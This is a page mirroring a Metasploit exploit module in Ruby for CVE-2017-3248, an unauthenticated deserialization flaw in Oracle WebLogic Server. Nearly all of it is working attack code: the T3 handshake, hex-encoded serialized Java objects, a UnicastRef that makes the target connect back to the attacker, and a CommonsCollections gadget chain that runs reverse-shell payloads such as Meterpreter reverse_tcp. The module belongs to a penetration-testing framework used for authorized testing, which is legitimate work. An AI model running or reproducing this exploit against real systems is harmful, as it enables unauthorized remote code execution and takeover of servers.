Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/weblogic_deserialize_unicastref.rb
32822 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::TcpServer
11
# include Msf::Exploit::Remote::HttpClient
12
include Msf::Exploit::Powershell
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Oracle Weblogic Server Deserialization RCE - RMI UnicastRef',
19
'Description' => %q{
20
An unauthenticated attacker with network access to the Oracle Weblogic Server T3
21
interface can send a serialized object (sun.rmi.server.UnicastRef)
22
to the interface to execute code on vulnerable hosts.
23
},
24
'Author' => [
25
'Andres Rodriguez', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)
26
'Jacob Baines', # Vulnerability Discovery - Tenable Network Security
27
'Aaron Soto' # Reverse Engineering JSO and ysoserial blobs
28
],
29
'License' => MSF_LICENSE,
30
'References' => [
31
['CVE', '2017-3248']
32
],
33
'Privileged' => false,
34
'Targets' => [
35
[
36
'Unix',
37
{
38
'Platform' => 'unix',
39
'Arch' => ARCH_CMD,
40
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' },
41
'Payload' => {
42
'Encoder' => 'cmd/ifs',
43
'BadChars' => ' ',
44
'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'python' }
45
}
46
}
47
],
48
[
49
'Windows',
50
{
51
'Platform' => 'win',
52
'Payload' => {},
53
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
54
}
55
],
56
[
57
'Solaris',
58
{
59
'Platform' => 'solaris',
60
'Arch' => ARCH_CMD,
61
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },
62
'Payload' => {
63
'Space' => 2048,
64
'DisableNops' => true,
65
'Compat' =>
66
{
67
'PayloadType' => 'cmd',
68
'RequiredCmd' => 'generic perl telnet'
69
}
70
}
71
}
72
]
73
],
74
'DefaultTarget' => 0,
75
'DefaultOptions' => {
76
'WfsDelay' => 12
77
},
78
'DisclosureDate' => '2017-01-25',
79
'Notes' => {
80
'Reliability' => UNKNOWN_RELIABILITY,
81
'Stability' => UNKNOWN_STABILITY,
82
'SideEffects' => UNKNOWN_SIDE_EFFECTS
83
}
84
)
85
)
86
87
register_options([Opt::RPORT(7001)])
88
end
89
90
=begin This check is currently incompatible with the Tcp mixin. :-(
91
def check
92
resp = send_request_cgi(
93
'method' => 'GET',
94
'uri' => '/console/login/LoginForm.jsp'
95
)
96
97
return CheckCode::Unknown unless resp && resp.code == 200
98
99
unless resp.body.include?('Oracle WebLogic Server Administration Console')
100
vprint_warning("Oracle WebLogic Server banner cannot be found")
101
return CheckCode::Unknown
102
end
103
104
/WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body
105
unless version
106
vprint_warning("Oracle WebLogic Server version cannot be found")
107
return CheckCode::Unknown
108
end
109
110
version = Rex::Version.new(version)
111
vprint_good("Detected Oracle WebLogic Server Version: #{version}")
112
case
113
when version.to_s.start_with?('10.3')
114
return CheckCode::Appears unless version > Rex::Version.new('10.3.6.0')
115
when version.to_s.start_with?('12.1.3')
116
return CheckCode::Appears unless version > Rex::Version.new('12.1.3.0')
117
when version.to_s.start_with?('12.2')
118
return CheckCode::Appears unless version > Rex::Version.new('12.2.1.1')
119
end
120
121
return CheckCode::Safe
122
end
123
=end
124
125
def gen_resp
126
if target.name == 'Windows'
127
pwrshl = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true })
128
mycmd = pwrshl.each_byte.map { |b| b.to_s(16) }.join
129
elsif target.name == 'Unix' || target.name == 'Solaris'
130
nix_cmd = payload.encoded
131
mycmd = nix_cmd.each_byte.map { |b| b.to_s(16) }.join
132
end
133
134
serialized_cmd = (mycmd.length >> 1).to_s(16).rjust(4, '0')
135
serialized_cmd << mycmd
136
137
# Response data taken from JRMPListener generated data:
138
# java -cp ysoserial-0.0.5-all.jar ysoserial.exploit.JRMPListener <lport> CommonsCollections1 calc.exe
139
# Modified captured network traffic bytes. Patch in command to run
140
# TODO: Migrate this functionality to the new JavaDeserialization utilities
141
@resp = '51aced0005770f02086f5ef3000001651a67984d80017372002e6a617661782e'
142
@resp << '6d616e6167656d656e742e42616441747472696275746556616c756545787045'
143
@resp << '7863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176'
144
@resp << '612f6c616e672f4f626a6563743b70787200136a6176612e6c616e672e457863'
145
@resp << '657074696f6ed0fd1f3e1a3b1cc402000070787200136a6176612e6c616e672e'
146
@resp << '5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c'
147
@resp << '6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573'
148
@resp << '736167657400124c6a6176612f6c616e672f537472696e673b5b000a73746163'
149
@resp << '6b547261636574001e5b4c6a6176612f6c616e672f537461636b547261636545'
150
@resp << '6c656d656e743b4c001473757070726573736564457863657074696f6e737400'
151
@resp << '104c6a6176612f7574696c2f4c6973743b70787071007e0008707572001e5b4c'
152
@resp << '6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c'
153
@resp << '3cfd2239020000707870000000047372001b6a6176612e6c616e672e53746163'
154
@resp << '6b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e'
155
@resp << '756d6265724c000e6465636c6172696e67436c61737371007e00054c00086669'
156
@resp << '6c654e616d6571007e00054c000a6d6574686f644e616d6571007e0005707870'
157
@resp << '0000011b74001e79736f73657269616c2e6578706c6f69742e4a524d504c6973'
158
@resp << '74656e65727400114a524d504c697374656e65722e6a617661740006646f4361'
159
@resp << '6c6c7371007e000b000000e071007e000d71007e000e740009646f4d65737361'
160
@resp << '67657371007e000b000000ab71007e000d71007e000e74000372756e7371007e'
161
@resp << '000b0000007771007e000d71007e000e7400046d61696e737200266a6176612e'
162
@resp << '7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c6973'
163
@resp << '74fc0f2531b5ec8e100200014c00046c69737471007e0007707872002c6a6176'
164
@resp << '612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c6543'
165
@resp << '6f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a617661'
166
@resp << '2f7574696c2f436f6c6c656374696f6e3b707870737200136a6176612e757469'
167
@resp << '6c2e41727261794c6973747881d21d99c7619d03000149000473697a65707870'
168
@resp << '000000007704000000007871007e001b787372003273756e2e7265666c656374'
169
@resp << '2e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e'
170
@resp << '48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c7565'
171
@resp << '7374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a61'
172
@resp << '76612f6c616e672f436c6173733b707870737d00000001000d6a6176612e7574'
173
@resp << '696c2e4d617074001066696c653a2f746d702f73732e6a6172787200176a6176'
174
@resp << '612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c'
175
@resp << '0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174'
176
@resp << '696f6e48616e646c65723b7078707371007e001c7372002a6f72672e61706163'
177
@resp << '68652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d'
178
@resp << '61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f61'
179
@resp << '70616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e7366'
180
@resp << '6f726d65723b74001066696c653a2f746d702f73732e6a617278707372003a6f'
181
@resp << '72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6675'
182
@resp << '6e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97'
183
@resp << '040200015b000d695472616e73666f726d65727374002d5b4c6f72672f617061'
184
@resp << '6368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f72'
185
@resp << '6d65723b74001066696c653a2f746d702f73732e6a617278707572002d5b4c6f'
186
@resp << '72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472'
187
@resp << '616e73666f726d65723bbd562af1d834189902000074001066696c653a2f746d'
188
@resp << '702f73732e6a61727870000000057372003b6f72672e6170616368652e636f6d'
189
@resp << '6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e737461'
190
@resp << '6e745472616e73666f726d6572587690114102b1940200014c000969436f6e73'
191
@resp << '74616e7471007e000174001066696c653a2f746d702f73732e6a617278707672'
192
@resp << '00116a6176612e6c616e672e52756e74696d6500000000000000000000007078'
193
@resp << '707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c65637469'
194
@resp << '6f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287'
195
@resp << 'e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e67'
196
@resp << '2f4f626a6563743b4c000b694d6574686f644e616d6571007e00055b000b6950'
197
@resp << '6172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7400'
198
@resp << '1066696c653a2f746d702f73732e6a61727870757200135b4c6a6176612e6c61'
199
@resp << '6e672e4f626a6563743b90ce589f1073296c0200007078700000000274000a67'
200
@resp << '657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab'
201
@resp << '16d7aecbcd5a99020000707870000000007400096765744d6574686f64757100'
202
@resp << '7e003e00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a'
203
@resp << '3bb3420200007078707671007e003e7371007e00367571007e003b0000000270'
204
@resp << '7571007e003b00000000740006696e766f6b657571007e003e00000002767200'
205
@resp << '106a6176612e6c616e672e4f626a656374000000000000000000000070787076'
206
@resp << '71007e003b7371007e0036757200135b4c6a6176612e6c616e672e537472696e'
207
@resp << '673badd256e7e91d7b470200007078700000000174'
208
209
@resp << serialized_cmd
210
211
@resp << '74'
212
@resp << '0004657865637571007e003e0000000171007e00437371007e0031737200116a'
213
@resp << '6176612e6c616e672e496e746567657212e2a0a4f78187380200014900057661'
214
@resp << '6c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b'
215
@resp << '02000070787000000001737200116a6176612e7574696c2e486173684d617005'
216
@resp << '07dac1c31660d103000246000a6c6f6164466163746f72490009746872657368'
217
@resp << '6f6c647078703f40000000000000770800000010000000007878767200126a61'
218
@resp << '76612e6c616e672e4f7665727269646500000000000000000000007078707100'
219
@resp << '7e005a'
220
end
221
222
def on_client_connect(client)
223
# Make sure to only sent one meterpreter payload to a host.
224
# (or as long as the server was listening).
225
vprint_status("Comparing host: #{client.peerhost}")
226
if @met_sent.include?(client.peerhost) then return end
227
228
@met_sent << client.peerhost
229
230
print_status("Sending payload to client: #{client.peerhost}")
231
232
# Response format determined by watching network traffic
233
accept_conn = '4e00'
234
raccept_conn = client.peerhost.each_byte.map { |b| b.to_s(16) }.join
235
accept_conn << (raccept_conn.length >> 1).to_s(16).rjust(2, '0')
236
accept_conn << raccept_conn
237
accept_conn << '0000'
238
accept_conn << client.peerport.to_s(16).rjust(4, '0')
239
240
client.put([accept_conn].pack('H*'))
241
client.get_once
242
client.get_once
243
client.put([@resp].pack('H*'))
244
client.get_once
245
246
service.close_client(client)
247
end
248
249
def t3_handshake
250
# retrieved from network traffic
251
shake = "t3 12.2.1\n"
252
shake << "AS:255\n"
253
shake << "HL:19\n"
254
shake << "MS:10000000\n\n"
255
256
sock.put(shake)
257
sleep(1)
258
sock.get_once
259
end
260
261
def build_t3_request_object
262
# T3 request serialized data
263
# retrieved by watching network traffic
264
# This is a proprietary, undocumented protocol
265
data = '000005c3' # lenght of the packet
266
data << '01' # CMD_IDENTIFY_REQUEST
267
data << '65' # QOS
268
data << '01' # Flags:
269
# CONTEXT_JVMID_FLAG = 1 (has JVMIDs)
270
# CONTEXT_TX_FLAG = 2
271
# CONTEXT_TRACE_FLAG = 4
272
# CONTEXT_EXTENDED_FLAG = 8
273
# CONTEXT_EXTENDED_USER_FLAG = 16
274
data << 'ffffffff' # response id
275
data << 'ffffffff' # invocable id
276
data << '0000006a' # abbrev offset
277
data << '0000ea60' # reconnect timeout ??
278
279
# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?
280
data << '0000001900937b484a56fa4a777666f581daa4f5b9'
281
data << '0e2aebfc607499b402797372007872017872027870'
282
data << '0000000a0000000300000000000000060070707070'
283
data << '70700000000a000000030000000000000006007006'
284
285
data << 'fe010000' # ----- separator -----
286
287
data << 'aced0005' # JSO v5 header
288
data << '73' # object header
289
data << '72001d' # className (29 bytes):
290
data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry
291
data << '5461626c65456e747279' # (continued)
292
data << '2f52658157f4f9ed' # serialVersionUID
293
data << '0c00007870' # remainder of object header
294
data << '72' # object header
295
data << '00247765626c6f6769632e636f6d6d6f6e2e696e74' # className (36 bytes): weblogic.common.internal.PackageInfo
296
data << '65726e616c2e5061636b616765496e666f' # (continued)
297
data << 'e6f723e7b8ae1ec9' # serialVersionUID
298
data << '02' # SC_SERIALIZABLE
299
data << '0008' # fieldCount = 8
300
data << '4900056d616a6f72' # 0: Int: major
301
data << '4900056d696e6f72' # 1: Int: minor
302
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
303
data << '49000b736572766963655061636b' # 3: Int: servicePack
304
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
305
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
306
data << '7400124c6a6176612f6c616e672f537472696e673b' # java/lang/String
307
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
308
data << '71007e0003' # (Handle) 0x007e0003
309
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
310
data << '71007e0003' # (Handle) 0x007e0003
311
data << '78707702000078' # block footers
312
313
data << 'fe010000' # ----- separator -----
314
315
data << 'aced0005' # JSO v5 header
316
data << '7372' # object header
317
data << '001d7765626c6f6769632e726a766d2e436c6173' # className (29 bytes): weblogic.rjvm.ClassTableEntry
318
data << '735461626c65456e747279' # (continued)
319
data << '2f52658157f4f9ed' # serialVersionUID
320
data << '0c' # EXTERNALIZABLE | BLOCKDATA
321
data << '00007870' # remainder of object header
322
data << '72' # object header
323
data << '00247765626c6f6769632e636f6d6d6f6e2e696' # className (36 bytes): weblogic.common.internal.VersionInfo
324
data << 'e7465726e616c2e56657273696f6e496e666f' # (continued)
325
data << '972245516452463e' # serialVersionUID
326
data << '02' # SC_SERIALIZABLE
327
data << '0003' # fieldCount = 3
328
data << '5b0008' # array header (8 bytes)
329
data << '7061636b61676573' # ARRAY NAME = 'packages'
330
data << '740027' # TC_STRING className1 (39 bytes)
331
data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # weblogic/common/internal/PackageInfo
332
data << '6e7465726e616c2f5061636b616765496e666f' # (continued)
333
data << '3b' # (continued)
334
data << '4c000e' # object header (14 bytes)
335
data << '72656c6561736556657273696f6e' # releaseVersion
336
data << '740012' # TC_STRING (18 bytes)
337
data << '4c6a6176612f6c616e672f537472696e673b' # versionInfoAsBytes
338
data << '5b0012' # array header (18 bytes)
339
data << '76657273696f6e496e666f41734279746573' # ARRAY NAME = java/lang/String;
340
data << '740002' # TC_STRING (2 bytes)
341
data << '5b42' # 0x5b42 = [B
342
data << '78' # block footer
343
344
data << '720024' # class (36 bytes)
345
data << '7765626c6f6769632e636f6d6d6f6e2e696e' # weblogic.common.internal.PackageInfo
346
data << '7465726e616c2e5061636b616765496e666f' # (continued)
347
data << 'e6f723e7b8ae1ec9' # serialVersionUID
348
349
data << '02' # SC_SERIALIZABLE
350
data << '0008' # fieldCount = 8
351
data << '4900056d616a6f72' # 0: Int: major
352
data << '4900056d696e6f72' # 1: Int: minor
353
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
354
data << '49000b736572766963655061636b' # 3: Int: servicePack
355
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
356
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
357
data << '71' # TC_REFERENCE
358
data << '007e0004' # Handle = 0x007e0004
359
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
360
data << '71' # TC_REFERENCE
361
data << '007e0004' # Handle = 0x007e0004
362
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
363
data << '71' # TC_REFERENCE
364
data << '007e0004' # Handle = 0x007e0004
365
data << '78' # class footer
366
data << '70' # TC_NULL
367
data << '77020000' # BLOCKDATA (2 bytes): 0x0000
368
data << '78' # block footer
369
370
data << 'fe010000' # ----- separator -----
371
372
data << 'aced0005' # JSO v5 header
373
data << '73' # object header
374
data << '72001d' # className (29 bytes):
375
data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry
376
data << '5461626c65456e747279' # (continued)
377
data << '2f52658157f4f9ed' # serialVersionUID
378
data << '0c00007870' # remainder of object header
379
data << '720021' # className (33 bytes)
380
data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # weblogic.common.internal.PeerInfo
381
data << '65726e616c2e50656572496e666f' # (continued)
382
data << '585474f39bc908f1' # serialVersionUID
383
data << '02' # SC_SERIALIZABLE
384
data << '0006' # fieldCount = 6
385
data << '4900056d616a6f72' # 0: Int: major
386
data << '4900056d696e6f72' # 1: Int: minor
387
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
388
data << '49000b736572766963655061636b' # 3: Int: servicePack
389
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
390
data << '5b00087061636b61676573' # 5: Array: packages
391
data << '740027' # TC_STRING (39 bytes)
392
data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # Lweblogic/common/internal/PackageInfo;
393
data << '6e7465726e616c2f5061636b616765496e666f' # (continued)
394
data << '3b' # (continued)
395
data << '78' # block footer
396
data << '720024' # class (36 bytes)
397
data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # Lweblogic/common/internal/PackageInfo;
398
data << '65726e616c2e56657273696f6e496e666f' # (continued)
399
data << '972245516452463e' # serialVersionUID
400
data << '02' # SC_SERIALIZABLE
401
data << '0003' # fieldCount = 3
402
data << '5b0008' # 0: Array
403
data << '7061636b6167657371' # packages
404
data << '007e0003' # Handle = 0x00730003
405
data << '4c000e72656c6561736556657273696f6e' # 1: Obj: releaseVersion
406
data << '7400124c6a6176612f6c616e672f537472696e673b' # Ljava/lang/String;
407
data << '5b001276657273696f6e496e666f41734279746573' # 2: Array: versionInfoAsBytes
408
data << '740002' # TC_STRING (2 bytes)
409
data << '5b42' # VALUE = 0x5b42 = [B
410
data << '78' # block footer
411
data << '720024' # class: (36 bytes)
412
data << '7765626c6f6769632e636f6d6d6f6e2e696e746572' # Name = weblogic.common.internal.PackageInfo
413
data << '6e616c2e5061636b616765496e666f' # (continued)
414
data << 'e6f723e7b8ae1ec9' # serialVersionUID
415
data << '02' # SC_SERIALIZABLE
416
data << '0008' # fieldCount = 8
417
data << '4900056d616a6f72' # 0: Int: major
418
data << '4900056d696e6f72' # 1: Int: minor
419
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
420
data << '49000b736572766963655061636b' # 3: Int: servicePack
421
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
422
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
423
data << '71' # TC_REFERENCE
424
data << '007e0005' # Handle = 0x007e0005
425
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
426
data << '71' # TC_REFERENCE
427
data << '007e0005' # Handle = 0x007e0005
428
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
429
data << '71' # TC_REFERENCE
430
data << '007e0005' # Handle = 0x007e0005
431
data << '78' # class footer
432
data << '707702000078' # block footers
433
434
data << 'fe00ff' # whatever this cruft is again
435
436
data << 'fe010000' # ----- separator -----
437
438
# weblogic.rjvm.JVMID object
439
data << 'aced0005' # JSO v5 header
440
data << '73' # object header
441
data << '720013' # class (19 bytes)
442
data << '7765626c6f6769632e726a766d2e4a564d4944' # name = 'weblogic.rjvm.JVMID'
443
data << 'dc49c23ede121e2a' # serialVersionUID
444
data << '0c' # EXTERNALIZABLE | BLOCKDATA
445
data << '0000' # fieldCount = 0 (!!!)
446
data << '78' # block footer
447
data << '70' # NULL
448
data << '7750' # block header (80 bytes)
449
data << '21' # !
450
data << '000000000000000000' # 9 NULL BYTES
451
data << '0d' # \n
452
# data << '3139322e3136382e312e323237' # original PoC string = 192.168.1.227
453
data << '3030302e3030302e3030302e30' # new string = 000.000.000.0
454
# (must be an IP, and length isn't trivially editable)
455
data << '00' # \0
456
data << '12' # strLength = 18 bytes
457
# data << '57494e2d4147444d565155423154362e6568' # original str = WIN-AGDMVQUB1T6.eh
458
data << rand_text_alphanumeric(18).unpack('H*')[0]
459
data << '83348cd6' # ??? UNKNOWN ??? (Note: Cannot be randomized)
460
data << '000000070000' # ??? UNKNOWN ???
461
data << rport.to_s(16).rjust(4, '0') # callback port
462
data << 'ffffffffffffffffffffffffffffffffffffff' # ??? UNKNOWN ???
463
data << 'ffffffffff' # ??? UNKNOWN ???
464
data << '78' # block footer
465
466
data << 'fe010000' # ----- separator -----
467
468
# weblogic.rjvm.JVMID object
469
data << 'aced0005' # JSO v5 header
470
data << '73' # object header
471
data << '72' # class
472
data << '00137765626c6f6769632e726a766d2e4a564d4944' # Name: weblogic.rjvm.JVMID
473
data << 'dc49c23ede121e2a' # serialVersionUID
474
data << '0c' # EXTERNALIZABLE | BLOCKDATA
475
data << '0000' # fieldCount = 0
476
data << '78' # end block
477
data << '70' # TC_NULL
478
data << '77' # block header
479
data << '20' # length = 32 bytes
480
data << '0114dc42bd071a772700' # ??? UNKNOWN ???
481
# data << rand_text_alphanumeric(10).unpack('H*')[0] # (NOTE: RANDOMIZAITON BREAKS THINGS)
482
data << '0d' # \n
483
# data << '3234322e3231342e312e323534' # original string = 242.214.1.254
484
data << '3030302e3030302e3030302e30' # new string = 000.000.000.0
485
# (must be an IP, and length isn't trivially editable)
486
# data << '61863d1d' # original string = ??? UNKNOWN ???
487
data << rand_text_alphanumeric(4).unpack('H*')[0] # new = randomized
488
data << '00000000' # NULL BYTES
489
data << '78' # block footer
490
491
sock.put([data].pack('H*'))
492
sleep(1)
493
sock.get_once
494
end
495
496
def send_payload_objdata
497
shost = srvhost
498
if ['0.0.0.0', '127.0.0.1', '::'].include?(shost)
499
shost = Rex::Socket.source_address
500
end
501
502
# JRMPClient payload generated from ysoserial:
503
# Patch in srvhost and srvport
504
# TODO: Migrate this functionality to the new JavaDeserialization utilities
505
payload = '056508000000010000001b0000005d0101007372017870737202787000000000'
506
payload << '00000000757203787000000000787400087765626c6f67696375720478700000'
507
payload << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'
508
509
payload << 'fe010000' # ----- separator -----
510
511
payload << 'aced0005' # JSO v5 header
512
payload << '73' # object header
513
payload << '72' # class
514
payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
515
payload << '73735461626c65456e747279' # (cont)
516
payload << '2f52658157f4f9ed' # serialVersionUID
517
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
518
payload << '0000' # fieldCount = 0
519
payload << '7870' # remaining object header
520
payload << '72' # class header
521
payload << '00025b42' # Name: 0x5b42
522
payload << 'acf317f8060854e0' # serialVersionUID
523
payload << '02' # SERIALIZABLE
524
payload << '0000' # fieldCount = 0
525
payload << '7870' # class footer
526
payload << '77' # block header
527
payload << '020000' # contents = 0x0000
528
payload << '78' # block footer
529
530
payload << 'fe010000' # ----- separator -----
531
532
payload << 'aced0005' # JSO v5 header
533
payload << '73' # object header
534
payload << '72' # class
535
payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
536
payload << '73735461626c65456e747279' # (cont)
537
payload << '2f52658157f4f9ed' # serialVersionUID
538
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
539
payload << '0000' # fieldCount = 0
540
payload << '7870' # remaining object header
541
payload << '72' # class header
542
543
payload << '00135b4c6a6176612e6c616e672e4f626a' # Name: [Ljava.lang.Object;
544
payload << '6563743b' # (cont)
545
payload << '90ce589f1073296c' # serialVersionUID
546
payload << '02' # SERIALIZABLE
547
payload << '0000' # fieldCount = 0
548
payload << '7870' # remaining object header
549
payload << '77' # block header
550
payload << '020000' # contents = 0x0000
551
payload << '78' # block footer
552
553
payload << 'fe010000' # ----- separator -----
554
555
payload << 'aced0005' # JSO v5 header
556
payload << '73' # object header
557
payload << '72' # class
558
559
payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
560
payload << '73735461626c65456e747279' # (cont)
561
payload << '2f52658157f4f9ed' # serialVersionUID
562
payload << '0c' # SERIALIZABLE | BLOCKDATA
563
payload << '0000' # fieldCount = 0
564
payload << '7870' # block footer
565
payload << '72' # class header
566
payload << '00106a6176612e7574696c2e566563746f72' # Name: java.util.Vector
567
payload << 'd9977d5b803baf01' # serialVersionUID
568
payload << '03' # WRITE_METHOD | SERIALIZABLE
569
payload << '0003' # fieldCount = 3
570
payload << '4900116361706163697479496e6372656d656e74' # 0: Int: capacityIncrement
571
payload << '49000c656c656d656e74436f756e74' # 1: Int: elementCount
572
payload << '5b000b656c656d656e7444617461' # 2: Array: elementData
573
payload << '7400135b4c6a6176612f6c616e672f4f626a6563' # 3: String: [Ljava/lang/Object;
574
payload << '743b' # (cont)
575
payload << '7870' # remaining object header
576
payload << '77' # block header
577
payload << '020000' # contents = 0x0000
578
payload << '78' # block footer
579
580
payload << 'fe010000' # ----- separator -----
581
582
# manually generated payload using an UnicastRef object
583
# needed parameters are patched in runtime
584
payload << 'aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265'
585
payload << '676973747279787200176a6176612e6c616e672e7265666c6563742e50726f78'
586
payload << '79e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265'
587
payload << '666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a61'
588
payload << '76612e726d692e7365727665722e52656d6f74654f626a656374496e766f6361'
589
payload << '74696f6e48616e646c657200000000000000020200007872001c6a6176612e72'
590
payload << '6d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e0300'
591
payload << '00787077'
592
# serialize the srvhost manually
593
unicast_srvhost = shost.each_byte.map { |b| b.to_s(16) }.join
594
unicast_dat = '000a556e696361737452656600'
595
unicast_dat << (unicast_srvhost.length >> 1).to_s(16).rjust(2, '0')
596
unicast_dat << unicast_srvhost
597
unicast_dat << '0000'
598
unicast_dat << srvport.to_s(16).rjust(4, '0')
599
# unique identifier (for multiple executions)
600
rand_id = rand(1..65535)
601
unicast_dat << '000000006133'
602
unicast_dat << rand_id.to_s(16).rjust(4, '0')
603
unicast_dat << '00000000000000000000000000000078'
604
payload << ((unicast_dat.length >> 1) - 1).to_s(16).rjust(2, '0')
605
payload << unicast_dat
606
607
payload << 'fe010000' # ----- separator -----
608
609
# basic weblogic ImmutableServiceContext object (serialized)
610
payload << 'aced0005' # JSO v5 header
611
payload << '73' # object header
612
payload << '72' # class
613
payload << '00257765626c6f6769632e726a766d2e496d6d75' # Name: weblogic.rjvm.ImmutableServiceContext
614
payload << '7461626c6553657276696365436f6e74657874' # (cont)
615
payload << 'ddcba8706386f0ba' # serialVersionUID
616
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
617
payload << '0000' # fieldCount = 0
618
payload << '78' # object footer
619
payload << '72' # block header
620
621
payload << '00297765626c6f6769632e726d692e70726f76' # Name: weblogic.rmi.provider.BasicServiceContext
622
payload << '696465722e426173696353657276696365436f' # (cont)
623
payload << '6e74657874' # (cont)
624
payload << 'e4632236c5d4a71e' # serialVersionUID
625
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
626
payload << '0000' # fieldCount = 0
627
payload << '7870' # block footer
628
payload << '77' # block header
629
payload << '020600' # contents = 0x0600
630
payload << '7372' # class descriptor
631
payload << '00267765626c6f6769632e726d692e696e7465' # Name: weblogic.rmi.internal.MethodDescriptor
632
payload << '726e616c2e4d6574686f644465736372697074' # (cont)
633
payload << '6f72' # (cont)
634
payload << '12485a828af7f67b' # serialVersionUID
635
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
636
payload << '0000' # fieldCount = 0
637
payload << '7870' # class footer
638
payload << '77' # class data
639
640
# payload << '34002e61757468656e746963617465284c7765' # old contents = 0x002e61757468656e746963617465284c7765
641
# payload << '626c6f6769632e73656375726974792e61636c' # 626c6f6769632e73656375726974792e61636c
642
# payload << '2e55736572496e666f3b290000001b' # 2e55736572496e666f3b290000001b
643
payload << rand_text_alphanumeric(52).unpack('H*')[0] # new = randomized
644
payload << '78' # class footer
645
payload << '78' # block footer
646
# MISSING OBJECT FOOTER (0x78)
647
648
payload << 'fe00ff' # this cruft again. some kind of footer
649
650
# sets the length of the stream
651
data = ((payload.length >> 1) + 4).to_s(16).rjust(8, '0')
652
data << payload
653
654
sleep(2)
655
sock.put([data].pack('H*'))
656
sleep(2)
657
sock.get_once
658
end
659
660
def exploit
661
@met_sent = []
662
gen_resp
663
664
connect
665
666
print_status('Sending handshake...')
667
t3_handshake
668
669
print_status('Sending T3 request object...')
670
build_t3_request_object
671
672
start_service
673
674
print_status('Sending client object payload...')
675
send_payload_objdata
676
677
handler
678
679
disconnect
680
end
681
end
682
683